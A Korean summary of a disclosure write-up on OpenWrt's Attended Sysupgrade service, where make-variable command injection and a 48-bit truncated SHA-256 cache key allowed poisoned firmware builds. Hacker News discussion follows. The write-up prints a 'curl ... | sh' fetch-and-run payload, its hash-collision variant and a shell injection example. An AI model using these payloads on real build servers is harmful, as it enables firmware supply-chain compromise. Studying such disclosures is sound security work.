2P by GN⁺ | ★ favorite | 댓글 1개
  • OpenWrt의 웹 업그레이드 기능 Attended Sysupgrade는 온라인 빌드 서버에서 펌웨어를 생성하는 구조였고, 명령 주입과 잘린 SHA-256 충돌이 결합되면 정상 요청에 잘못된 빌드 산출물이 반환될 수 있었음
  • 요청의 packages 값이 make manifestPACKAGES= 변수로 전달되면서, make의 변수 확장 특성 때문에 공격자가 이미지빌더 컨테이너 내부에서 임의 명령을 실행할 수 있었음
  • 패키지 목록 해시는 SHA-256 전체가 아니라 앞 12자, 즉 48비트만 캐시 키에 반영돼 서로 다른 패키지 목록이 같은 요청 해시를 만들 수 있었음
  • 연구자는 수정한 Hashcat과 RTX 4090으로 초당 약 180억 해시 속도를 얻었고, 충돌된 명령 주입 페이로드로 이미지빌더의 .bin 산출물을 덮어쓰는 검증에 성공함
  • OpenWrt 팀은 비공개 취약점 신고 뒤 sysupgrade.openwrt.org를 일시 중단하고 3시간 이내 수정 버전을 배포했지만, 기존 악용 여부는 확인할 수 없었음

Attended Sysupgrade의 온라인 펌웨어 빌드 구조

  • OpenWrt의 LuCI 웹 인터페이스에는 Attended Sysupgrade가 있으며, 이 기능은 온라인 서비스를 이용해 새 펌웨어를 빌드함
  • 빌드 서비스는 sysupgrade.openwrt.org에서 동작하고, 사용자가 대상 장치와 원하는 패키지를 선택하면 새 펌웨어 이미지를 생성함
  • 업그레이드 요청 때 사용자 측 OpenWrt는 서버에 다음 정보를 보냄
    • 대상 아키텍처
    • 장치 프로필
    • 선택한 패키지
  • 서버는 이 정보를 바탕으로 펌웨어 이미지를 빌드해 OpenWrt 장치로 돌려주고, 장치는 받은 이미지를 플래시함
  • 사용자 제공 패키지로 이미지를 빌드하는 서버가 충분히 격리되지 않으면, 빌드 결과가 곧바로 장치에 적용되는 공급망 공격면이 됨

PACKAGES 값을 통한 명령 주입

  • sysupgrade.openwrt.org 서버는 오픈소스 프로젝트이며, 소스 코드는 openwrt/asu에 있음
  • 빌드 환경은 podman.containers.create로 만든 컨테이너에서 실행되고, cap_drop=["all"], no_new_privileges=True, privileged=False 같은 설정을 사용함
  • 취약점은 make manifest 호출부에서 발생함
    • PROFILE={build_request.profile}
    • PACKAGES={' '.join(build_cmd_packages)}
    • STRIP_ABI=1
  • OpenWrt 이미지빌더의 manifest 타깃은 PACKAGES 값을 USER_PACKAGES="$(PACKAGES)" 형태로 다시 전달함
  • make는 명령 실행 전에 변수를 확장하므로, 작은따옴표로 감싸도 사용자 제어 값이 안전하게 처리되지 않음
    • 예시 Makefile에서 make var="'; whoami #"를 실행하면 echo '$(var)' 안에서도 whoami가 실행됨
  • 요청의 packages 파라미터가 PACKAGES 변수에 들어가기 때문에, 공격자는 패키지명처럼 보이는 값에 명령을 넣어 이미지빌더 컨테이너 내부에서 임의 명령을 실행할 수 있었음
  • 컨테이너가 호스트와 격리돼 있어도, 생성된 바이너리가 이후 단계에서 개인 키로 서명되므로 이 명령 주입은 공급망 취약점으로 이어짐

12자로 잘린 SHA-256 캐시 키

  • get_request_hash는 빌드 요청의 여러 필드를 이어 붙여 요청 해시를 만들고, 이 해시는 빌드 캐시 키로 사용됨
  • 패키지 목록은 직접 문자열로 들어가지 않고 get_packages_hash(build_request.packages) 결과가 외부 요청 해시에 포함됨
  • get_packages_hash는 중복 패키지를 제거하고 정렬한 뒤 공백으로 이어 붙인 문자열의 SHA-256을 계산하지만, 결과를 앞 12자로 잘라 반환함
  • SHA-256 12자 접두사는 48비트이며, 가능한 공간은 2^48 = 281,474,976,710,656개임
  • 외부 요청 해시가 이 잘린 패키지 해시를 포함하므로, 패키지 해시 충돌을 만들면 서로 다른 패키지 목록도 같은 캐시 키를 공유함
  • 그 결과 서버가 다른 패키지 요청에 대해 잘못된 빌드 산출물을 반환할 수 있었음

Hashcat으로 충돌 페이로드 찾기

  • 부분 일치 SHA-256 무차별 대입 도구를 찾지 못해 OpenCL 프로그램을 직접 만들었지만, 1억 해시 계산에 10초가 걸려 CPU 해시 속도와 비슷했음
  • 이후 Hashcat을 수정해 8자만 맞아도 해시를 출력하도록 만들고, 작은 스크립트로 12자 충돌 여부를 확인함
  • 정상 패키지 목록은 firmware-selector.openwrt.org에서 가져왔고, 해당 목록의 SHA-256은 8f7018b33d9472113274fa6516c237e32f67685fc1fc3cbdbf144647d0b3feeb였음
    • 앞 12자는 8f7018b33d94
    • 공격 페이로드도 같은 12자 접두사를 가져야 했음
  • 처음에는 `curl -L tmp.ryotak.net/?l?l?l?l?l?l?l?l?l?l|sh` 형태의 마스크를 RTX 4090에서 실행했고, 약 초당 5억 해시 속도가 나왔음
  • ?la-z를 생성하므로 10글자 공간은 26^10 = 141,167,095,653,376개이며, 이는 2^48의 약 절반임
  • 마스크를 11글자로 늘리고 마스크 위치를 명령 앞쪽으로 옮기자 속도가 크게 증가함
    • 최종 패턴은 `?l?l?l?l?l?l?l?l?l?l?l||curl -L tmp.ryotak.net/8f7018b33d94|sh`
    • 이 패턴에서 Hashcat은 약 초당 180억 해시로 계산함
  • 1시간 안에 다음 12자 충돌이 발견됨
    • `slosuocutre||curl -L tmp.ryotak.net/8f7018b33d94|sh`
    • 이 문자열의 SHA-256은 8f7018b33d9464976ab199f100812d2d24d5e84a76555c659e88e0b6989a4bd8로, 앞 12자가 정상 패키지 목록과 같음

두 취약점 결합으로 잘못된 펌웨어 반환

  • 충돌 페이로드를 packages 파라미터로 보내면 명령 주입이 발생하고, tmp.ryotak.net에서 스크립트가 실행됨
  • 검증용 스크립트는 /builder/scripts/json_overview_image_info.py에 코드를 덧붙여 이미지빌더가 만든 산출물을 덮어씀
    • BIN_DIR의 파일 목록을 읽음
    • 이름이 .bin으로 끝나는 파일을 찾아 내용에 "test"를 씀
  • 해시 충돌 때문에 서버는 정상 패키지 목록을 요청한 사용자에게 덮어쓴 빌드 산출물을 반환함
  • 이 방식이 악용되면 사용자가 악성 펌웨어로 업그레이드하게 되고, 장치 침해로 이어질 수 있음

신고와 수정

  • 취약점은 GitHub의 비공개 취약점 신고를 통해 OpenWrt 팀에 전달됨
  • OpenWrt 팀은 문제를 확인한 뒤 sysupgrade.openwrt.org 서비스를 일시 중단하고 조사에 들어감
  • 수정 버전은 3시간 이내 배포됐고, 서비스도 다시 시작됨
  • 두 문제는 수정됐지만, 취약점이 한동안 존재했기 때문에 다른 사람이 이미 악용했는지는 알 수 없었음
  • OpenWrt 팀은 사용자가 장치 침해 여부를 확인하고 탐지할 수 있도록 공지를 배포함

결론

  • sysupgrade.openwrt.org명령 주입잘린 SHA-256 충돌을 결합해 침해될 수 있었음
  • 실제 애플리케이션에서 해시 충돌 공격을 무차별 대입으로 성공시켜 공급망 공격 경로를 만든 사례임
  • OpenWrt 팀은 짧은 시간 안에 문제를 수정하고 사용자에게 알렸지만, 온라인 빌드 서비스는 캐시 키와 입력 검증을 매우 보수적으로 다뤄야 함

댓글과 토론

Hacker News 의견들
  • 기사에서 빠진 취약점은 특정 사용자나 특정 기기에 맞춘 코드를 실행하는 일이 정상화된다는 점임
    재현 가능성 검증도 없고, 이 맞춤 빌드·다운로드 서비스가 백도어가 심긴 빌드를 만들지 않았는지 누구도 확인할 방법이 없음
    Andres Freund가 쓰는 것과 같은 xz-utils 빌드, 또는 나중에 보안 연구자들이 받아서 오픈소스 소프트웨어에 공급망 임플란트가 있는지 확인할 수 있는 빌드를 쓰도록 보장해야 함[1]
    Mozilla가 릴리스 빌드를 Merkle 트리에 공개 기록하려다 중단한 시도를 설명한 글이 예전에 있었음[2] Google은 Pixel 펌웨어 빌드 구현을 정리했지만, Google Play Store로 배포되는 앱은 취약해 보임(내가 못 찾은 다른 로그가 없다면)[3] Apple은 펌웨어와 앱 배포에서 개별 기기별 빌드를 타깃팅하면서 빌드 투명성이 없어, 바이너리 투명성 면에서는 Google보다 더 나빠 보임
    잘된 예로는 Gentoo의 ebuild 저장소가 있음. 단일 Git 저장소/Merkle 트리에 소스 체크섬을 담고 있어서, 오픈소스 소프트웨어 중 가장 크고 널리 분산된 Merkle 트리 중 하나로 남아 있을 수 있음
    [1] xz-utils 백도어 이후 일부 연구자들은 오픈소스 소프트웨어 빌드에서 숨겨진 악성 코드를 담을 수 있는 설명 불가능한 고엔트로피 파일을 찾기 위해 자동/반자동 스캔을 진행했음. 사용자별·기기별 맞춤 빌드에서는 모든 빌드가 나중 분석을 위해 공개되고, 그 공개 빌드에 대한 공개 로그(Merkle 트리)가 함께 제공되지 않는 한 이런 작업이 불가능함
    [2] https://wiki.mozilla.org/Security/Binary_Transparency
    [3] https://developers.google.com/android/binary_transparency/ov...

    • 좋은 아이디어이고 나도 지지하지만, 재현 가능성은 결정성에 의존한다는 점을 기억해야 함
      빌드 파이프라인에 들어가는 많은 요소는 본질적으로 비결정적인데, 컴파일 시점의 결정이 실행마다 달라질 수 있기 때문임. 플래그 문제를 제외해도 그렇고, 실제로 최적화 컴파일러의 목적이 그쪽에 가까움. 많은 재현 가능 빌드 프로젝트가 발견했듯이 최적화를 켜면 재현 가능성은 사실상 보장되지 않음
    • Google Play의 경우: https://developer.android.com/guide/app-bundle/code-transpar...
      내가 아는 한 중앙 집중식 로그는 없고, 앱 개발자가 자기 키나 투명성 파일 로그를 직접 공개하도록 맡겨져 있음
    • 그런 빌드 서비스를 쓴다는 건 애초에 “나는 표적 공격을 받을 만큼 가치 있는 대상이 아니다”라고 말하는 것과 같음
    • 자동/반자동 스캔으로 숨겨진 악성 코드를 담을 수 있는 설명 불가능한 고엔트로피 파일을 찾는 건 쉽게 우회 가능함. 엔트로피를 그냥 분산시키면 됨
    • Google의 인증서 투명성 팀이 Android뿐 아니라 Linux 전체를 위한 펌웨어 투명성도 사실상 설계했던 게 기억남
  • "".join도 위험하지 않나?
    get_str_hash("".join([build_request.distro, build_request.version, build_request.version_code, build_request.target, ... 형태라면 인접한 필드 사이에서 문자를 옮겨도 해시는 그대로일 수 있음
    시스템을 직접 장악하진 못하더라도, 깨진 이미지로 캐시 오염을 일으키거나 다운그레이드를 유도할 수 있음

    • 맞음. 설명한 이유 때문에 여러 입력을 해싱할 때는 HMAC을 써야 함
      수정: HMAC이 아니라 증분 해싱이라고 해야 맞음
  • 그래서 오픈소스는 기업용 폐쇄 소스와 절대 경쟁할 수 없음:
    패치를 6개월 기다리게 하지 않고 3시간 만에 고쳤고, 문제 제보자를 고소하려 하지도 않았으며, “구식”이지만 멀쩡히 작동하는 기기를 버리고 새 제품을 사라고 작은 할인만 제시하지도 않았으니까

    • 여기서는 비꼬는 말이라는 걸 더 분명히 하는 게 좋겠음. 영어가 모국어가 아니라서 처음엔 “they”가 “기업용 폐쇄 소스”를 가리킨다고 읽었고, OpenWRT가 나열된 모든 일을 저지른 위험한 선택이라는 뜻으로 이해했음
    • 내가 OpenWrt를 좋아하는 이유가 바로 이거임. 나처럼 스크린 리더를 쓰는 사람에게도 웹 인터페이스가 제대로 작동하는지 테스트해 달라고 요청함
    • 맞는 말이긴 한데, OpenWRT는 해시 잘림은 고쳤지만 명령 주입은 아직 고치지 않은 것처럼 보임
      명령 주입도 고칠 계획이길 바람. 글에서 말하듯 생성된 이미지는 서명됨. 서명이 없더라도 신뢰할 수 없는 사용자 입력으로 코드 실행이 되는 문제임. 그리고 취약점은 이번 해시 충돌 사례처럼 서로 엮일 수 있음
    • ISP 때문에 강제로 써야 하는 라우터가 있는데, 안 좋은 수준부터 정말 심각한 수준까지 CVE가 몇 개 있었고 대부분은 몇 년 된 것들임
      교체받을 수는 있지만 같은 모델일 뿐임. ISP는 보안을 전혀 신경 쓰지 않고 패치도 하지 않음. 라우터에 대한 독점 접근 권한이 있고 원격 로그인까지 가능한데도 그렇다니 완전히 말이 안 됨
    • 이건 기업 지원과 빠르게 고칠 자원을 가진 소수의 오픈소스 프로젝트에서만 가능함
      대부분의 오픈소스 프로젝트에서는 유지보수자가 너무 과로했거나, 그냥 보안 문제를 고치고 싶어 하지 않는 경우가 많음
  • 첫째로, 이건 원래 그런 용도로 만든 도구가 아닌데도 오픈소스였고 BuilderFactoryProvider 없이 작성되어 있어서 짧은 시간 안에 작업에 맞게 조정된 사례임
    이미 나온 얘기라 미안하지만 매일 이게 너무 괴로움
    대기업이었다면 고치는 데 아마 -1년이 걸렸을 것임. 그냥 그 사람을 고소하고 최대한 빨리 체포하려 들고, 패치는 절대 내지 않았을 테니까
    OpenWrt는 정보를 받은 뒤 안전하지 않은 서비스를 내리고, 사용자는 이미 셧다운 덕분에 안전한 상태에서 보고를 검증한 다음, 패치를 만들고 3시간 만에 배포했음. 대단함

  • 해시를 잘라 쓰는 발상을 사람들이 어떻게 떠올리는지 궁금함. 목적이나 이득이 뭘까?

    • 잘린 해시 함수는 길이 확장 공격에 취약하지 않음. 다만 보통 SHA-512를 쓰고 256비트로 자름. 요즘 기준으로는 그보다 짧으면 안전하다고 보기 어려움
    • 기존 도구나 데이터베이스에 이미 있는 길이 제한에 맞추려고 그러는 경우가 있음. 또는 해시를 무결성 검증이 아니라 단순 위치 식별자로만 쓸 때도 있음
      좋은 관행은 아니라고 보지만 사람들은 현실적으로 타협함
    • 커밋에 따르면 다운로드 파일명과 URL 길이를 줄이려고 그렇게 했다고 함
    • 더 작은 페이로드가 필요할 때 쓰기도 함
      [2]의 @Reid 답변과 [3]의 @ThomasPornin 답변에 따르면, 해시를 자르는 발상은 NIST에서도 완전히 지원됨. 실제로 SHA-224는 SHA-256을 자른 것이고, SHA-384는 SHA-512를 자른 것임
      https://security.stackexchange.com/a/97389
    • SHA-1에서 SHA-256으로 업그레이드하면서도 무결성 체크나 키 저장을 위한 데이터 형식은 바꾸고 싶지 않을 때 그렇게 함
  • 글이 좋았음. 이렇게 짧은 충돌을 찾는 데 그 정도 GPU 연산량이 필요했다는 점은 조금 놀라웠지만, 구현을 보는 건 좋았음
    마지막 섹션과 관련해서, 보안 분석 한 달에 4만 달러가 합리적인 가격인가? 그렇다면 좋은 보안 연구자는 연 50만 달러 정도 버는 건가?

    • 좋은 보안 연구 회사라면 뛰어난 연구자 한 명으로 50만 달러 매출을 낼 수도 있다는 뜻임. 단, 그 사람을 100% 가동할 만큼 충분한 일을 가져올 수 있어야 함. 유급 휴가까지 고려하면 실제론 더 적음
    • 내 기준에서는 꽤 합리적으로 보임. 예전에 함께 일한 침투 테스트 회사들은 그 정도를 청구하면서도 게으른 nmap/metasploit 스캔을 돌린 뒤 그럴듯한 PDF로 포장했음
    • LLM 이후 시대에는 4090 한 시간치 연산이 “그렇게 많다”기보다는 “오히려 적다”에 가까움. 1달러 미만으로도 가능함
    • 2^(12*4)는 가능한 12자 문자열이 281,474,976,710,656개라는 뜻이라, 한 시간 안에 그만큼 훑어볼 수 있다는 건 정말 인상적임
  • hashcat 성능이 인자 순서에 따라 몇 자릿수씩 달라진다는 건 무슨 얘기지? 실행할 때마다 인자 줄에서 목표 패턴을 스캔하는 건가?

    • 자물쇠 따기처럼 왼쪽부터 시작해서 더 진행할 수 있는지 보거나 그 추측을 버리는 방식일 수도 있음. 그러면 “선택지”를 앞쪽에 두면 매번 다시 만들 필요가 없어짐. 어떤 이유로든 접두사를 캐시하지 않거나 못 하는 걸 수도 있고
      또는 숫자를 셀 때처럼
      100000000000
      010000000000
      110000000000
      001000000000
      변동 대부분이 왼쪽에서 일어나고 오른쪽 변화는 드물게 보이는 구조일 수도 있음. hashcat을 아는 사람이 답해 주면 흥미로울 듯함. 나는 그냥 추측을 던지는 중임
  • 공격 과정을 아주 잘 썼고 따라가기 쉬웠음